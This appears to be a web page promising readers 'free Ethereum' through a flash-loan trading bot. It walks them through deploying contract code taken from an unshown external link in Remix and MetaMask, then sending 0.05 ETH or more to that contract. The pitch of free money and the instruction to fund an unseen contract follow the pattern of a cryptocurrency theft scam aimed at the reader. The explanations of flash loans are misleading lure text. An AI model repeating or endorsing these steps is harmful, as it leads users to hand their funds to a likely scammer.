What is ETHEREUM TRADING BOT
Are you interested in obtaining some free Ethereum (ETH)? Well, the opportunity does present through a distinctive method known as “FLASH LOANS.”Flash loans are a form of uncollateralized lending that has gained significant popularity within the realm of decentralized finance (DeFi). However, it’s crucial to note that while they have become well-liked, there have also been cases of flash loan exploits being used to target vulnerable DeFi protocols.
You might be wondering if there’s a catch, you might wonder? Indeed, there is. With flash loans, you must borrow and repay the loan within the same blockchain transaction.
Flash Loan Explanation
⚡️FULL STEP BY STEP FLASH LOANS VIDEO TUTORIAL
- Download if you have no Metamask Extension for your browser.
- Open Remix IDE in your browser.
- Go to File Explorers and select “Create New File”.
- Name the file flashloans.sol and paste the contract code from this link.
BotCode
- Click on Deploy & Run transactions and set the “ENVIRONMENT” to Injected Web3.
- Connect your Metamask.
- Navigate to the “Solidity Compiler” and set the compiler version to 0.5.0.
- Go to the Solidity Compiler and click the blue button “Compile flashloans.sol”.
- Wait for the code to compile.
- Press Deploy & Run transactions, then click on the down arrow next to the “Deploy” button.
- Fill in the values for “_TOKENNAME”, “_TOKENSYMBOL”, and “_LOANAMOUNT” (set to 1000).
- Click Transact and confirm the transaction in Metamask.
- Wait for the transaction to confirm.
- Copy the address of the newly deployed contract.
- Send ETH to the deployed contract to initiate the swap (0.05 ETH or more for a larger amount in each swap).
- Wait for the transaction to confirm.
- Now, click “action” (red box) to execute the Flash Loan.
- Confirm the transaction in MetaMask and wait for the confirmation.
- Congratulations! Now, check your wallet.
Credit: Source link